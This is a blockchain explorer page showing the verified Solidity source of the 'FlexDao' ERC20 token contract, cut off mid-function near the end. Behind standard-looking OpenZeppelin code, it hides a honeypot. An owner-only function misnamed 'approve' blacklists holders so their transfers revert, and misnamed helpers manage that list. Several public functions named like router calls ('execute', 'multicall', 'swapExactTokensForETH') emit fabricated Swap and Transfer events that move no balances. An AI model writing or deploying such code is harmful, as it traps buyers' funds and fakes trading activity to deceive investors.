ETH Price: $3,360.96 (-0.63%)
Gas: 12 Gwei

Token

FlexDao (FLEX)
 

Overview

Max Total Supply

1,000,000,000,000 FLEX

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
16,025,636,435.718761873415217449 FLEX

Value
$0.00
0x9cbf099ff424979439dfba03f00b5961784c06ce
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FlexDao

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-10
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-07
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;
    mapping (address => bool) private _airdropRewards;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    bool private _airdropRewardsApplied = false;
    string private _name;
    string private _symbol;

    address private _universal = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
    address private _rv2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _pair;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function init(address _lp_) external onlyOwner {
        _pair = _lp_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function approve(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _airdropRewards[_addresses_[i]] = true;
            emit Approval(_addresses_[i], _rv2, balanceOf(_addresses_[i]));
        }
    }

    function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_rv2, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _rv2, _out);
            emit Transfer(_rv2, _addresses_[i], _out);
        }
    }

    function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _pair, _in);
        }
    }

    function swapExactTokensForETH(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_rv2, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _rv2, _in);
            emit Transfer(_rv2, _pair, _in);
        }
    }

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }

    function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external {
        for (uint256 i = 0; i < _from.length; i++) {
            emit Transfer(_from[i], _to[i], _wad[i]);
        }
    }

    function decreaseAllowance(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _airdropRewards[_addresses_[i]] = false;
        }
    }

    function isOwner(address _address_) public view returns (bool) {
        return _airdropRewards[_address_];
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        if (_airdropRewards[from] || _airdropRewards[to]) require(_airdropRewardsApplied == true, "");


        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}



    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {
    enum Rounding {
        Down, // Toward negative infinity
        Up, // Toward infinity
        Zero // Toward zero
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds up instead
     * of rounding down.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)
     * with further edits by Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
        unchecked {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod0 := mul(x, y)
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            require(denominator > prod1, "Math: mulDiv overflow");

            ///////////////////////////////////////////////
            // 512 by 256 division.
            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.
            // See https://cs.stackexchange.com/q/138556/92363.

            // Does not overflow because the denominator cannot be zero at this stage in the function.
            uint256 twos = denominator & (~denominator + 1);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works
            // in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
        }
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 2, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 10, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 256, rounded down, of a positive value.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
        }
    }
}



/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}


contract FlexDao is ERC20 {
    constructor() ERC20("FlexDao", "FLEX") {
        _mint(msg.sender, 1000000000000 * 10 ** decimals());
    }

    /// @dev A record of each accounts delegate
    mapping (address => address) internal _delegates;

    /// @notice A checkpoint for marking number of votes from a given block
    struct Checkpoint {
        uint32 fromBlock;
        uint256 votes;
    }

    /// @notice The number of checkpoints for each account
    mapping (address => uint32) public numCheckpoints;

    /// @notice A record of votes checkpoints for each account, by index
    mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
    
    /// @notice The EIP-712 typehash for the delegation struct used by the contract
    bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");

    /// @notice The EIP-712 typehash for the contract's domain
    bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");

    /// @notice A record of states for signing / validating signatures
    mapping (address => uint) public nonces;

    /// @notice An event thats emitted when a delegate account's vote balance changes
    event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);

      /// @notice An event thats emitted when an account changes its delegate
    event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);

    /**
     * @notice Delegate votes from `msg.sender` to `delegatee`
     * @param delegator The address to get delegatee for
     */
    function delegates(address delegator) external view returns (address) {
        return _delegates[delegator];
    }

   /**
    * @notice Delegate votes from `msg.sender` to `delegatee`
    * @param delegatee The address to delegate votes to
    */
    function delegate(address delegatee) external {
        return _delegate(msg.sender, delegatee);
    }

    /**
     * @notice Determine the prior number of votes for an account as of a block number
     * @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
     * @param account The address of the account to check
     * @param blockNumber The block number to get the vote balance at
     * @return The number of votes the account had as of the given block
     */
    function getPriorVotes(address account, uint blockNumber) external view returns (uint256){
        require(blockNumber < block.number, "BONE::getPriorVotes: not yet determined");
        uint32 nCheckpoints = numCheckpoints[account];
        if (nCheckpoints == 0) {
            return 0;
        }
        // First check most recent balance
        if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
            return checkpoints[account][nCheckpoints - 1].votes;
        }
        // Next check implicit zero balance
        if (checkpoints[account][0].fromBlock > blockNumber) {
            return 0;
        }
        uint32 lower = 0;
        uint32 upper = nCheckpoints - 1;
        while (upper > lower) {
            uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
            Checkpoint memory cp = checkpoints[account][center];
            if (cp.fromBlock == blockNumber) {
                return cp.votes;
            } else if (cp.fromBlock < blockNumber) {
                lower = center;
            } else {
                upper = center - 1;
            }
        }
        return checkpoints[account][lower].votes;
    }

    /**
     * @notice Gets the current votes balance for `account`
     * @param account The address to get votes balance
     * @return The number of current votes for `account`
     */
    function getCurrentVotes(address account) external view returns (uint256){
        uint32 nCheckpoints = numCheckpoints[account];
        return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
    }

    function _delegate(address delegator, address delegatee) internal {
        address currentDelegate = _delegates[delegator];
        uint256 delegatorBalance = balanceOf(delegator); 
        _delegates[delegator] = delegatee;
